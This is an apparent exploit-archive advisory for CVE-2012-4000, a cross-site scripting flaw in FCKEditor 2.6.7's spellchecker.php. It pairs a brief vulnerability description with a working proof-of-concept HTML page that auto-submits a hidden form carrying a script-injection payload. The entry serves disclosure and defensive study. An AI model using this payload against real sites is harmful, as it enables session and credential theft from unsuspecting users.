FCKEditor Core - 'Editor 'spellchecker.php' Cross-Site Scripting

Related Vulnerabilities: CVE-2012-4000  
Publish Date: 25 Jun 2012
Author: Emilio Pinna
                							

            source: http://www.securityfocus.com/bid/54188/info

FCKEditor is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FCKEditor 2.6.7 is vulnerable; prior versions may also be affected. 

<html> <body> <iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe> <form method="post" name="sender" action="http://www.example.com/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"; target="hidden"> <input type="hidden" name="textinputs[]" value='");alert("THIS SITE IS XSS VULNERABLE!");</script><!--' /> </form> </body> <script>document.sender.submit(); </script> </html>